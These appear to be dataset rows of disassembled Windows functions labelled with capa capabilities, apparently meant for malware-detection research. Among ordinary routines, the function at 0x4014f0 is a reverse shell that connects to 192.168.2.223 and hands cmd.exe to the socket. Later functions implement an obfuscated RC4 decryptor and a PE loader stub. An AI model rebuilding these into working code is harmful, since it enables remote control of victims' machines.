joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446300
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x588
mov dword [ebp - 0xc], 0
cmp dword [0x48ab00], 4
jne 0x4463db
cmp dword [0x663ce4], 0
je 0x4463db
mov eax, dword [0x483478]
fld dword [eax + 0x14]
fcomp dword [0x44c308]
fnstsw ax
test ah, 0x40
jne 0x44634b
mov dword [ebp - 0xc], 0
jmp 0x4463db
mov ecx, dword [0x663ce4]
push ecx
push 1
push 4
lea edx, [ebp - 0xc]
push edx
call sub.MSVCRT.dll_fread
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
je 0x446375
call fcn.00446240
jmp 0x446548
mov eax, dword [ebp - 0xc]
push eax
call fcn.0043921e
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x446394
call fcn.00446240
jmp 0x446548
cmp dword [ebp - 0xc], 0x578
jle 0x4463ac
push str.SV_SendClientMessages:_msglen___MAX_MSGLEN
push 1
call fcn.0042071a
add esp, 8
mov ecx, dword [0x663ce4]
push ecx
push 1
mov edx, dword [ebp - 0xc]
push edx
lea eax, [ebp - 0x588]
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
je 0x4463db
call fcn.00446240
jmp 0x446548
mov dword [ebp - 0x10], 0
mov ecx, dword [0x48354c]
mov dword [ebp - 8], ecx
jmp 0x446401
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
add eax, 0x4c1c
mov dword [ebp - 8], eax
fild dword [ebp - 0x10]
mov ecx, dword [0x48347c]
fcomp dword [ecx + 0x14]
fnstsw ax
test ah, 1
je 0x446548
mov edx, dword [ebp - 8]
cmp dword [edx], 0
jne 0x446422
jmp 0x4463ed
mov eax, dword [ebp - 8]
cmp dword [eax + 0x3bb4], 0
je 0x446476
mov ecx, dword [ebp - 8]
add ecx, 0x3bb0
push ecx
call fcn.00421ff4
add esp, 4
mov edx, dword [ebp - 8]
add edx, 0x2bc
push edx
call fcn.00421ff4
add esp, 4
mov eax, dword [ebp - 8]
add eax, 0x298
push eax
push str._s_overflowed_n
push 2
call fcn.004458ae
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
call fcn.004437f0
add esp, 4
cmp dword [0x48ab00], 3
je 0x446491
cmp dword [0x48ab00], 4
je 0x446491
cmp dword [0x48ab00], 5
jne 0x4464b3
lea edx, [ebp - 0x588]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
add ecx, 0x3b68
push ecx
call fcn.004331dd
add esp, 0xc
jmp 0x446543
mov edx, dword [ebp - 8]
cmp dword [edx], 3
jne 0x4464de
mov eax, dword [ebp - 8]
push eax
call fcn.0044626b
add esp, 4
test eax, eax
je 0x4464d0
jmp 0x4463ed
mov ecx, dword [ebp - 8]
push ecx
call fcn.00446126
add esp, 4
jmp 0x446543
mov edx, dword [ebp - 8]
cmp dword [edx + 0x46ac], 0
jne 0x44650d
mov eax, dword [ebp - 8]
cmp dword [eax + 0x3bc0], 0
jne 0x44650d
mov ecx, dword [ebp - 8]
mov edx, dword [0x6985c0]
sub edx, dword [ecx + 0x3b78]
cmp edx, 0x3e8
jle 0x446543
mov eax, dword [ebp - 8]
add eax, 0x46b4
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x46ac]
push edx
mov eax, dword [ebp - 8]
add eax, 0x3b68
push eax
call fcn.004331dd
add esp, 0xc
mov ecx, dword [ebp - 8]
add ecx, 0x469c
push ecx
call fcn.00421ff4
add esp, 4
jmp 0x4463ed
mov esp, ebp
pop ebp
ret
Function at 0x448fac
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov byte [ebp - 0x48], 0x63
mov byte [ebp - 0x47], 0x3a
mov byte [ebp - 0x46], 0x5c
mov byte [ebp - 0x45], 0
mov dword [0x481bc0], 1
mov byte [ebp - 0x48], 0x63
jmp 0x448fe2
mov al, byte [ebp - 0x48]
add al, 1
mov byte [ebp - 0x48], al
movsx ecx, byte [ebp - 0x48]
cmp ecx, 0x7a
jg 0x449054
lea edx, [ebp - 0x48]
push edx
push 0x45a044
push 0x481bc4
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push str._skingpindata1.cab
lea ecx, [ebp - 0x40]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push 0x45a05c
lea edx, [ebp - 0x40]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x449052
mov eax, dword [ebp - 0x44]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 5
jne 0x449052
mov eax, 0x481bc4
jmp 0x44905d
jmp 0x448fda
mov byte [0x481bc4], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4491cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5014
call fcn.0044b860
cmp dword [0x6c810c], 0
je 0x4491f8
mov eax, dword [0x6c810c]
fld dword [eax + 0x14]
fcomp dword [0x44c308]
fnstsw ax
test ah, 0x40
je 0x4491ff
xor eax, eax
jmp 0x4493a3
lea ecx, [ebp - 0x5004]
push ecx
mov edx, dword [0x481c44]
push edx
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
test eax, eax
jne 0x449224
push str.Error_getting__of_console_events
call fcn.00448d80
add esp, 4
cmp dword [ebp - 0x5004], 0
jg 0x449232
jmp 0x4493a1
lea eax, [ebp - 0x5008]
push eax
push 1
lea ecx, [ebp - 0x5000]
push ecx
mov edx, dword [0x481c44]
push edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
test eax, eax
jne 0x449260
push str.Error_reading_console_input
call fcn.00448d80
add esp, 4
cmp dword [ebp - 0x5008], 1
je 0x449276
push str.Couldnt_read_console_input
call fcn.00448d80
add esp, 4
mov eax, dword [ebp - 0x5000]
and eax, 0xffff
cmp eax, 1
jne 0x44939c
cmp dword [ebp - 0x4ffc], 0
jne 0x44939c
movsx ecx, byte [ebp - 0x4ff2]
mov dword [ebp - 0x5010], ecx
mov edx, dword [ebp - 0x5010]
mov dword [ebp - 0x5014], edx
cmp dword [ebp - 0x5014], 8
je 0x449313
cmp dword [ebp - 0x5014], 0xd
je 0x4492c7
jmp 0x449348
push 0
lea eax, [ebp - 0x500c]
push eax
push 2
push 0x45a1ec
mov ecx, dword [0x481c48]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [0x481bb8], 0
je 0x44930e
mov edx, dword [0x481bb8]
mov byte [edx + 0x481c4c], 0
mov dword [0x481bb8], 0
mov eax, 0x481c4c
jmp 0x4493a3
jmp 0x44939c
cmp dword [0x481bb8], 0
je 0x449346
mov eax, dword [0x481bb8]
sub eax, 1
mov dword [0x481bb8], eax
push 0
lea ecx, [ebp - 0x500c]
push ecx
push 3
push 0x45a1f0
mov edx, dword [0x481c48]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x44939c
cmp dword [ebp - 0x5010], 0x20
jl 0x44939c
cmp dword [0x481bb8], 0xfe
jae 0x44939c
push 0
lea eax, [ebp - 0x500c]
push eax
push 1
lea ecx, [ebp - 0x5010]
push ecx
mov edx, dword [0x481c48]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [0x481bb8]
mov cl, byte [ebp - 0x5010]
mov byte [eax + 0x481c4c], cl
mov edx, dword [0x481bb8]
add edx, 1
mov dword [0x481bb8], edx
jmp 0x4491ff
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4493a7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
cmp dword [0x6c810c], 0
je 0x4493ce
mov eax, dword [0x6c810c]
fld dword [eax + 0x14]
fcomp dword [0x44c308]
fnstsw ax
test ah, 0x40
je 0x4493d3
jmp 0x449483
cmp dword [0x481bb8], 0
je 0x449439
mov byte [ebp - 0x104], 0xd
mov ecx, dword [0x481bb8]
push ecx
push 0x20
lea edx, [ebp - 0x103]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [0x481bb8]
mov byte [ebp + eax - 0x103], 0xd
mov ecx, dword [0x481bb8]
mov byte [ebp + ecx - 0x102], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [0x481bb8]
add eax, 2
push eax
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [0x481c48]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
mov edx, dword [ebp + 8]
push edx
mov eax, dword [0x481c48]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [0x481bb8], 0
je 0x449483
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [0x481bb8]
push edx
push 0x481c4c
mov eax, dword [0x481c48]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret

Function at 0x4494ea
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x449560
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x44955a
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x44955a
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
add eax, 1
push eax
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x44983e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], str.New_Title
mov dword [ebp - 0x44], 0x64
mov dword [ebp - 0x40], 0x64
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0x84
mov dword [ebp - 0x30], 0xa
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xc
mov word [ebp - 0x24], 0
mov word [ebp - 0x22], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0
push 0
push 0x10
push 1
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
jne 0x4498ea
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
jmp 0x4498ec
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40627c], 1
mov dword [0x406278], 1
mov dword [0x406274], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406288]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40629c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406284]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40302c], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x4014f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x14c
call dbg.__main
mov dword [esp + 4], 0x406040
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [0x4061d0], eax
mov dword [esp], str.192.168.2.223
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0x10
mov dword [esp], str.192.168.2.223
mov eax, dword [sym.imp.msvcrt.dll_strcpy_s]
call eax
mov word [0x4061d4], 2
mov dword [esp], 0x403014
call sym._atoi
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x4061d6], ax
mov dword [esp], str.192.168.2.223
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x4061d8], eax
mov eax, dword [0x4061d0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4061d4
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x406200
call sym._memset
mov dword [0x406200], 0x44
mov dword [0x40622c], 0x101
mov eax, dword [0x4061d0]
mov dword [0x406240], eax
mov eax, dword [0x406240]
mov dword [0x40623c], eax
mov eax, dword [0x40623c]
mov dword [0x406238], eax
mov dword [ebp - 0x11b], 0x2e646d63
mov dword [ebp - 0x117], 0x657865
lea eax, [ebp - 0x113]
mov ecx, 0xf7
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], 0x406244
mov dword [esp + 0x20], 0x406200
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x11b]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, 0
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401990
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4019f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406290]
test esi, esi
jle 0x401b10
mov eax, dword [0x406294]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401a24
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401aa7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401a10
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401b37
mov eax, dword [0x406294]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406294]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401b17
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401aa0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401ab0
add dword [0x406290], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406294]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401aa0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401a2e
mov eax, dword [0x406294]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x402050
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4062ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4062a4]
sub esp, 4
test ebx, ebx
je 0x4020a5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40209e
test esi, esi
je 0x40209e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402080
mov dword [esp], 0x4062ac
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4023e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402405
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402410
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402405
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402458
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40244e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40245a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402440
xor eax, eax
pop ebx
pop esi
ret
Function at 0x10007695
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x1004450c], 0x37a
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.100088d5
mov ecx, dword [0x1004450c]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x4c], edx
add ecx, 0xffffdcc0
mov dword [0x1004450c], ecx
mov dword [esp + 0x5c], 0x130c00
mov ecx, dword [0x100444f8]
mov dword [esp + 0x60], ecx
mov ecx, dword [0x100444fc]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
lea eax, [0x100077c7]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x68], ecx
mov edx, dword [0x10044500]
mov dword [esp + 0x50], edx
mov edx, dword [0x10044504]
mov dword [esp + 0x80], edx
mov edx, dword [0x10044508]
mov dword [esp + 0x6c], edx
mov dword [0x10044510], 0x1a2
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
jne 0x10007759
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x1000776d
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x18], eax
jmp 0x10007736
mov eax, dword [esp + 0x14]
mov dword [esp + 0x58], eax
mov dword [0x1004450c], 0xd16
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0xc], edx
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x3c], ecx
mov edx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.1000875d
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x1004450c], 0x4fd
mov esp, ebp
pop ebp
ret
Function at 0x10007e28
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x10044510]
add edi, 0x1064
mov dword [0x1004450c], edi
mov dword [0x10044518], 0
mov byte [0x1004451c], 0
mov dword [0x10044510], 0x1215
mov dword [0x10044514], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10007eab
xor eax, eax
mov dword [0x1004450c], 0x1408
mov dword [0x10044514], 0
mov ecx, dword [0x10044510]
add ecx, 0xffffd9c5
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
jmp 0x10007ed3
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10044514]
add eax, 1
mov dword [0x10044514], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10007eab
jmp 0x10007e81
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0xffffdcb5
mov esi, 0x100
mov dword [ebp - 0x28], eax
xor edi, edi
mov dword [ebp - 0x2c], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov ebx, dword [0x10044518]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [edi + ecx]
add ecx, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add ecx, edx
mov eax, ecx
cdq
idiv esi
mov dword [0x10044518], edx
mov ecx, dword [ebp - 0x28]
mov cl, byte [edi + ecx]
mov byte [0x1004451c], cl
mov esi, dword [ebp - 0x30]
mov dword [0x10044510], esi
mov cl, byte [edi + edx]
mov edx, dword [ebp - 0x28]
mov byte [edi + edx], cl
mov esi, dword [0x1004450c]
add esi, 0x2328
mov dword [0x1004450c], esi
mov cl, byte [0x1004451c]
mov esi, dword [0x10044518]
mov byte [edi + esi], cl
mov dword [0x10044510], 0x2f0
mov esi, dword [0x10044514]
add esi, 1
mov dword [0x10044514], esi
cmp esi, 0x100
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], esi
jl 0x10007ed3
mov dword [0x10044510], 0x2133
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10007faa
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0x2c87
mov ebx, 0x1d5a
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [0x10044514], 0
mov dword [0x10044518], 0
mov dword [0x10044520], 0
mov dword [0x1004450c], 0x1d5a
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], edi
je 0x10008144
jmp 0x1000803c
mov eax, dword [0x1004450c]
add eax, 0xf2d
mov dword [ebp - 0x34], eax
jmp 0x10008144
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov edi, 0x100
add ecx, 1
mov dword [ebp - 0x38], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x10044514], edx
mov ecx, dword [ebp - 0x2c]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x3c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x40], edx
cdq
idiv edi
mov dword [0x10044518], edx
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
mov cl, byte [ecx + edi]
mov byte [0x1004451c], cl
add esi, 0xfffff6df
mov dword [0x1004450c], esi
mov esi, dword [ebp - 0x2c]
mov cl, byte [esi + edx]
mov byte [esi + edi], cl
mov dword [0x10044510], 0x63b
mov cl, byte [0x1004451c]
mov edx, dword [0x10044518]
mov byte [esi + edx], cl
mov dword [0x1004450c], 0xbac
mov edx, dword [0x10044514]
movzx edx, byte [esi + edx]
mov ebx, dword [0x10044518]
movzx ebx, byte [esi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x10044520], ebx
mov dword [0x1004450c], 0x1236
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x38]
mov cl, byte [edx + ecx]
xor cl, byte [esi + ebx]
mov ebx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x38]
mov byte [ebx + edx], cl
add edx, 1
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov dword [ebp - 0x44], edx
je 0x1000802a
mov eax, dword [0x10044514]
mov dword [ebp - 0x48], eax
mov eax, dword [0x10044518]
mov ecx, dword [0x1004450c]
mov edx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
jmp 0x1000803c
mov eax, dword [ebp - 0x34]
mov dword [0x1004450c], eax
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret